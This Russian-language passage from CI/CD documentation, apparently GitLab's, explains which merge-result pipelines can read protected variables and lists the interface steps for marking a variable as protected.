Пайплайны в результате слияния, которые запускаются на временном коммите на слияние, а не на ветке или теге, не имеют доступа к этим переменным. Пайплайны в результате слияния, которые не используют временные коммиты на слияние, могут получить доступ к этим переменным, если ветка является защищенной.

Необходимые условия:

Вы должны иметь ту же роль или уровень доступа, которые требуются для определения переменной CI/CD в пользовательском интерфейсе.

Чтобы определить переменную как защищенную:

В проекте, группе или области администратора (Администрирование) инстанса перейдите в раздел Настройки > CI/CD.
Раскройте раздел Variables.
Рядом с переменной, которую необходимо защитить, выберите Редактировать.
Установите флажок Защитить переменную.
Выберите Обновить переменную.

Защищенная переменная доступна для всех последующих пайплайнов.